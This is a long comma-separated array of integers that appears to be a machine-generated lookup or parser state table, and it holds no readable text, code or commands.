247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,74174,37318,37318,37318,37318,37318,52120,37296,74401,74403,37318,37318,74392,74419,36991,37318,37318,41289,37087,37318,37318,74464,37318,37318,74485,37318,37318,59413,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,74504,37116,37202,37162,74529,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,37318,37318,37318,37318,37318,74564,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,69205,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,41324,41542,41542,41542,58552,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,65960,37318,37318,37318,37318,74599,74601,37318,37318,70178,74617,37014,37318,37318,37318,37318,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,74641,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,72228,37116,37202,37162,74643,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,74659,39048,39078,39105,39169,39156,39172,39188,39089,39218,46272,55484,39265,39291,55476,39311,74721,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,1,24578,3,0,0,0,0,0,0,0,180524,180524,180524,180524,0,188717,0,188717,180524,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,180524,180524,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,368,188717,180524,188717,188717,188717,188717,188717,131072,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,139264,147456,188717,188717,188717,188717,188717,188717,188717,1,24578,3,0,0,4366336,0,0,0,180524,188717,302,303,0,0,307,0,0,0,307,0,0,0,4931584,0,0,0,0,0,0,2367,0,0,0,0,0,0,0,0,0,1854,0,0,0,0,0,0,4268032,306,307,0,0,0,0,0,0,0,0,0,0,0,0,0,302,0,0,0,0,0,0,4268032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262144,0,0,4857856,4874240,0,0,4923392,0,0,0,0,0,0,0,0,0,341,0,0,0,0,0,0,0,0,0,0,5840896,5849088,0,0,0,0,0,0,0,0,0,0,328,0,0,375,375,405,0,0,0,6275072,0,0,0,0,0,0,0,368,368,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,450560,0,0,0,0,4857856,0,0,0,0,0,0,0,0,0,0,0,0,5259264,0,0,0,0,0,0,0,0,5414912,0,5447680,0,5464064,0,5414912,5447680,0,0,5562368,5636096,5685248,0,5750784,5873664,0,0,0,0,5636096,5873664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5873664,0,0,0,0,0,0,0,0,0,0,0,6275072,0,0,0,914,0,0,0,0,0,4857856,4874240,0,0,0,0,0,0,0,0,0,0,0,0,5447680,0,5464064,0,5480448,5562368,0,0,0,5636096,0,5685248,0,0,5750784,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,0,0,0,990,0,0,0,4841472,0,0,0,4898816,0,4358144,4358144,4358144,4358144,4358144,4358144,5414912,4358144,5447680,4358144,5464064,4358144,5480448,5562368,4358144,4358144,4358144,5636096,4358144,5636096,4358144,5685248,4358144,4358144,5750784,4358144,4358144,4358144,4358144,4358144,5873664,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4923392,4358144,4358144,4358144,4358144,4358144,0,4923392,0,0,0,0,4366336,0,0,0,0,418,0,0,0,0,0,0,0,0,0,0,0,4276224,1258,0,0,0,5603328,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,341,0,0,5341184,0,5652480,0,0,0,0,0,0,0,0,0,0,4759552,4358144,4358144,4358144,4358144,4358144,5242880,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5341184,4358144,4358144,4358144,4358144,4358144,4358144,0,0,5808128,4358144,4358144,4358144,4825088,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5627904,5652480,4358144,5701632,4358144,4358144,5808128,4358144,4358144,4358144,5668864,0,0,5791744,0,0,0,0,0,0,0,0,0,0,6201344,6242304,6250496,0,0,0,0,6422528,0,0,0,0,0,0,0,0,0,0,351,0,0,0,0,0,0,5619712,0,0,0,0,0,0,0,5726208,5758976,0,0,5791744,0,0,0,0,0,3664,0,0,0,0,0,0,0,0,0,0,5111808,0,0,0,0,0,5283840,0,0,0,0,0,5816320,6291456,0,0,0,0,0,0,0,0,0,0,0,0,2389,0,2391,2392,0,0,0,0,6062080,6463488,0,5398528,0,0,6479872,0,0,0,0,0,0,0,3459,0,0,0,3463,0,0,0,0,0,0,6463488,0,0,0,0,0,0,0,0,0,0,0,0,0,303,0,0,0,0,4931584,4939776,0,0,0,0,0,0,5054464,0,0,0,0,0,0,0,0,5210112,0,0,0,5210112,0,0,0,0,5292032,0,0,0,0,5365760,0,0,0,5455872,0,0,5816320,0,5857280,0,0,0,0,0,0,0,0,0,0,0,0,0,327,401,0,6119424,0,6168576,0,0,0,0,0,6242304,0,6291456,0,6316032,0,0,0,0,0,0,0,4358144,4358144,4931584,4939776,4358144,4358144,4358144,4358144,4358144,4358144,5054464,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5210112,4358144,4358144,4358144,4358144,4358144,4358144,5210112,4358144,4358144,4358144,4358144,5292032,4358144,4358144,4358144,4358144,5365760,4358144,4358144,4358144,5455872,4358144,4358144,4358144,4358144,4358144,4358144,5455872,4358144,4358144,4358144,4358144,4358144,5554176,5570560,5578752,5619712,5668864,4358144,4358144,4358144,5791744,5816320,4358144,5857280,4358144,4358144,4358144,4358144,5816320,4358144,5857280,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,0,0,0,6119424,4358144,6168576,4358144,4358144,4358144,4358144,4358144,6242304,4358144,6291456,4358144,6316032,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6463488,0,4358144,4358144,4358144,4358144,4358144,4358144,6463488,4358144,4358144,4358144,4358144,4358144,0,0,0,0,0,4825088,0,0,0,0,0,0,0,6184960,5316608,0,0,5644288,0,0,0,0,0,0,0,0,0,0,646,755,756,757,0,0,6217728,0,0,0,0,0,0,0,0,0,0,5390336,5308416,5488640,0,0,0,0,0,0,0,0,0,5799936,0,0,5881856,0,0,0,0,0,0,0,0,0,351,352,353,0,0,0,0,5070848,5431296,0,6430720,0,0,0,0,0,0,0,0,5160960,0,0,0,0,0,0,6053888,0,0,0,0,0,5013504,0,0,0,0,0,0,6053888,0,0,0,4358144,4358144,5013504,4358144,4358144,4358144,0,0,0,0,4841472,0,0,0,4898816,0,0,0,0,0,0,1851,0,1853,0,0,0,0,0,0,0,0,4825088,0,0,0,0,0,0,0,0,2786,0,0,0,0,0,0,0,0,2809,0,0,0,0,0,0,0,0,2834,0,0,0,0,0,0,0,0,3154,0,0,0,0,0,0,0,0,3167,3168,0,0,0,0,0,0,0,0,0,6283264,6332416,0,0,0,5881856,0,5382144,0,0,0,0,0,0,0,3665,3666,0,0,0,0,0,0,0,665,0,644,0,0,0,0,0,0,0,6266880,4784128,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4915200,4358144,4956160,4972544,4358144,4358144,4358144,4358144,4358144,4358144,5070848,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5218304,4358144,5267456,4358144,4358144,4358144,6184960,4358144,4358144,6283264,4358144,4358144,6332416,4358144,4358144,4358144,6389760,4358144,4358144,6430720,6438912,4358144,4358144,4358144,6266880,6488064,0,0,0,6266880,0,0,4915200,0,4956160,4972544,0,0,0,0,0,0,5070848,0,0,0,0,0,0,0,5218304,0,5267456,0,0,0,0,5218304,0,5267456,0,0,5308416,5316608,0,0,0,5431296,0,5488640,0,0,0,0,0,0,0,0,6332416,0,0,0,6389760,0,0,6430720,6438912,0,0,0,0,0,0,4784128,0,0,0,4849664,0,0,0,0,0,4915200,0,4956160,4972544,0,0,0,6430720,6438912,4784128,4358144,4358144,4358144,4849664,4358144,4358144,4358144,4358144,4358144,4915200,4358144,4358144,0,0,0,0,0,0,0,0,0,0,302,0,303,306,5218304,4358144,5267456,4358144,4358144,5308416,5316608,4358144,4358144,4358144,5431296,4358144,5488640,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5799936,4358144,4358144,5881856,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6103040,4358144,4358144,4358144,6103040,4358144,4358144,4358144,6184960,4358144,4358144,4358144,6283264,4358144,4358144,6332416,4358144,4358144,0,0,0,0,0,0,0,0,0,368640,0,0,0,0,0,0,2411,0,0,0,0,0,0,0,0,0,1256,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4931584,4939776,6488064,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,357,5660672,5718016,0,5865472,0,0,6037504,0,0,6078464,0,0,6340608,0,6455296,0,0,0,0,420,420,420,420,597,597,420,420,420,420,420,420,420,420,420,420,420,420,420,0,420,0,0,0,0,5472256,0,0,0,6209536,0,0,0,0,6176768,0,0,0,0,0,0,6373376,6389760,0,0,6488064,6103040,0,0,0,0,0,0,1850,0,0,0,0,0,0,0,0,0,662,0,0,0,0,0,0,0,0,0,4898816,0,5709824,0,0,0,5283840,0,0,0,0,5251072,0,6414336,5832704,0,5955584,0,0,4358144,4358144,4841472,4358144,4358144,4358144,4898816,4358144,4358144,4358144,4358144,4358144,4358144,0,0,0,0,0,0,303,0,0,0,4358144,5472256,5521408,4358144,4358144,4358144,5595136,5709824,5718016,4358144,5824512,5865472,4358144,4358144,5922816,4358144,4358144,6021120,4358144,6037504,4358144,4358144,6078464,6111232,4358144,6176768,6209536,6234112,4358144,4358144,4358144,4358144,5283840,0,0,0,0,5472256,5521408,0,0,0,0,5595136,5709824,5718016,0,5824512,5865472,0,0,5865472,0,0,5922816,0,0,6021120,0,6037504,0,0,6078464,6111232,0,6176768,6209536,0,6234112,0,0,6234112,0,0,0,0,0,0,0,4358144,4358144,4841472,4358144,4358144,4358144,4898816,4358144,5283840,4358144,4358144,4358144,4358144,5472256,5521408,4358144,4358144,4358144,4358144,5595136,5709824,5718016,4358144,4358144,0,0,0,0,0,5193728,0,0,0,0,0,0,0,0,4358144,4358144,6209536,4358144,6234112,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,573440,0,0,5890048,0,0,0,6160384,0,5095424,5349376,0,5275648,0,0,0,0,0,0,2308,0,0,0,0,0,0,0,0,0,139264,147456,0,0,344064,0,0,0,0,4997120,0,0,0,0,0,0,0,0,0,0,5947392,0,0,0,0,0,3675,0,0,0,0,0,0,0,0,4012,528,5103616,4358144,4358144,5201920,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5890048,4358144,4358144,4358144,6029312,4358144,4358144,4358144,4358144,6160384,4358144,4358144,4358144,4358144,4358144,4358144,6406144,0,5103616,0,0,5201920,0,0,0,0,0,0,0,0,0,0,0,5890048,0,0,0,0,6029312,0,0,0,0,6160384,0,0,0,0,0,0,0,6406144,6406144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4997120,4358144,4358144,5038080,4358144,4358144,4358144,5095424,5095424,5103616,4358144,4358144,5201920,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,0,5013504,0,4358144,6406144,4358144,4358144,4358144,0,0,0,4890624,0,0,0,0,0,0,0,0,3209,0,0,3212,0,0,0,0,0,0,5898240,5963776,0,0,6193152,0,0,5406720,6397952,5300224,5234688,5423104,0,0,0,0,0,3675,0,0,0,0,0,4009,0,4011,528,528,0,0,0,0,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58815,57893,57893,0,0,5988352,0,0,6135808,6307840,0,5996544,4800512,0,6356992,0,0,0,0,0,0,2317,2318,0,2320,2321,0,0,0,0,0,0,1207,0,1209,0,0,368,368,0,0,0,0,0,0,0,0,0,710,0,0,0,0,0,0,0,0,5496832,0,0,0,0,0,5611520,0,0,0,0,0,0,0,3673,0,0,0,0,0,0,0,0,693,0,0,0,0,0,0,368,4947968,5021696,5529600,0,0,5169152,0,0,0,4800512,4808704,4358144,4358144,4890624,4358144,4947968,4358144,4358144,4358144,5898240,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6307840,4358144,4358144,6356992,6381568,5185536,0,5234688,5300224,0,0,5406720,5529600,0,0,0,0,5898240,0,0,0,0,0,0,0,0,6307840,0,0,6356992,6381568,6397952,4800512,4808704,4358144,4358144,4890624,4358144,4947968,4358144,4358144,4358144,5046272,4358144,4358144,4358144,4358144,5185536,4358144,5234688,5300224,4358144,4358144,5406720,5529600,4358144,4358144,4358144,4358144,5898240,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6307840,4358144,4358144,6356992,6381568,6397952,5021696,4358144,4358144,5021696,0,0,0,4980736,0,0,0,0,0,5373952,5734400,6045696,0,0,0,0,421,421,421,421,421,421,421,421,421,421,421,421,421,0,421,0,6258688,6447104,0,0,6127616,0,6348800,5906432,0,5537792,3675,4882432,0,0,0,0,0,0,2329,0,0,0,0,0,0,0,0,0,1195,0,0,0,0,0,0,0,0,0,0,5939200,0,0,5677056,6365184,4866048,0,6070272,5545984,5152768,0,0,0,0,0,3675,0,0,0,0,4008,0,4010,0,528,4013,6144e3,4358144,4866048,4882432,4358144,4980736,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5324800,5373952,5537792,5545984,5586944,5734400,5971968,4358144,6045696,4358144,6070272,4358144,4358144,5537792,5545984,5734400,5971968,4358144,6045696,4358144,6070272,4358144,4358144,4358144,6348800,0,4866048,4882432,0,0,0,0,644,0,0,0,803,0,808,0,794,0,820,0,0,0,0,735,0,0,0,0,0,0,0,0,0,0,0,450560,450560,0,0,450560,0,6045696,0,6070272,0,0,0,0,6348800,0,4866048,4882432,0,4980736,0,0,0,0,0,0,0,0,5324800,5373952,5537792,5545984,5586944,5734400,5971968,0,6045696,0,6070272,0,0,0,0,6348800,4358144,4866048,4882432,4358144,4980736,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6299648,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6348800,4358144,6144e3,0,6144e3,0,4988928,5005312,0,0,0,0,5775360,0,0,0,0,749,0,0,0,0,0,0,0,0,0,0,759,0,0,3675,0,0,0,0,0,0,5693440,0,6496256,5144576,5136384,0,5914624,4358144,6324224,0,0,5005312,0,0,0,512e4,5136384,0,0,0,0,0,0,0,1252,0,0,0,748,1259,0,0,0,0,0,0,0,6324224,0,0,5005312,0,0,0,512e4,5136384,0,0,0,0,0,0,6463488,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6324224,5914624,5914624,0,0,0,0,0,5513216,5783552,0,3675,0,0,0,0,0,0,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4931584,4939776,4358144,4358144,4358144,0,6053888,0,0,0,0,0,0,0,0,6012928,4358144,4358144,5013504,4358144,4358144,0,0,0,0,0,0,0,0,0,0,0,1153,0,0,0,0,0,3675,0,0,4006,4007,0,0,0,0,528,528,528,528,3220,528,528,528,528,528,528,3227,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6053888,4358144,4358144,0,0,5013504,0,0,0,0,0,312,414,0,0,139264,147456,0,0,0,0,0,0,0,6103040,0,0,0,6184960,0,0,0,6283264,0,0,6332416,0,0,0,6389760,4358144,4358144,4358144,4358144,4358144,4358144,6053888,4358144,4358144,4358144,0,0,0,0,5193728,0,0,0,0,761,0,0,0,0,0,0,0,0,0,0,528,528,528,3700,528,528,528,5742592,0,0,0,0,0,4358144,4907008,4358144,5079040,4358144,5226496,4358144,5742592,4358144,4358144,4358144,6094848,4358144,5062656,0,0,0,0,0,4358144,4358144,6094848,0,4907008,0,5079040,0,5226496,0,5742592,0,0,0,6094848,0,0,0,0,0,3675,0,4005,0,0,0,0,0,0,528,528,528,528,4155,528,528,528,528,528,528,4907008,0,5079040,0,5226496,0,5742592,0,0,0,6094848,0,4358144,4907008,4358144,5079040,5062656,4358144,4358144,4358144,4358144,4358144,0,5062656,0,0,0,0,0,6225920,0,5062656,4358144,4358144,4358144,4358144,4358144,913,5063569,913,913,913,913,913,6226833,989,5063645,0,0,0,4816896,4358144,4358144,4358144,4358144,6086656,4816896,0,0,0,0,6086656,4816896,4358144,4358144,4358144,4358144,6086656,0,5087232,0,5931008,4358144,5332992,5980160,4358144,0,5332992,5980160,0,0,5332992,5980160,0,4358144,5332992,5980160,4358144,0,0,0,0,787,0,0,0,0,806,0,0,0,0,0,0,0,3166,0,0,0,0,0,0,0,0,327,0,0,0,0,0,0,0,5439488,5128192,4358144,5128192,0,5128192,0,5128192,4358144,0,4358144,0,0,4358144,0,4358144,0,0,4358144,6004736,6004736,6004736,6004736,6004736,0,0,0,1,24578,3,0,0,0,0,0,0,0,0,0,0,0,0,0,339,340,0,0,221652,221652,221652,468,468,468,468,468,468,468,468,468,468,468,468,221652,468,221652,221652,221652,468,221652,221652,221652,221652,221652,221652,221652,221652,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1162,0,0,1164,0,0,0,0,0,0,0,0,1311,0,0,0,0,0,1179,0,0,0,762,0,0,0,0,0,0,0,0,0,0,0,0,0,383,0,0,0,0,1064,0,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,913,913,913,4358144,4358144,1064,0,0,0,0,0,0,0,0,0,0,0,0,0,507,514,514,1,24578,3,0,0,0,0,0,0,0,0,0,0,0,237568,302,0,306,237568,0,0,0,0,0,0,0,0,0,0,0,0,0,643,0,0,4268032,98304,307,0,0,0,0,0,0,0,0,0,0,0,0,0,661,0,0,4210979,24578,3,0,0,297,0,0,0,0,297,0,0,0,0,0,0,0,3685,0,0,0,3688,3689,0,0,0,0,0,245760,245760,245760,0,0,0,0,139264,147456,245760,245760,0,0,245760,0,4210979,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1164,1297,0,0,0,0,0,0,1304,0,0,0,0,0,2859,0,0,0,0,0,0,0,0,0,2867,368,368,0,0,0,303104,0,0,0,0,0,0,0,0,0,0,647,0,0,0,0,528,1158,0,4857856,4874240,0,0,4923392,0,0,0,0,0,0,0,0,0,379,0,0,0,0,371,0,4358144,4358144,4358144,4358144,0,1984,0,0,0,4825088,0,0,0,0,0,0,0,1253,0,0,0,0,0,0,0,0,2399,2400,0,0,2402,0,0,0,0,0,262144,262144,262144,0,0,0,0,0,0,0,0,0,0,0,0,3449,0,0,0,0,0,262144,262144,0,262144,0,0,0,139264,147456,262144,0,0,0,0,0,0,2344,2345,0,0,0,0,0,0,0,0,798,0,0,0,0,0,809,0,0,0,262144,0,262738,262738,262738,262738,262738,262738,262738,262738,262738,262738,262738,262738,262738,0,262738,0,0,262738,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0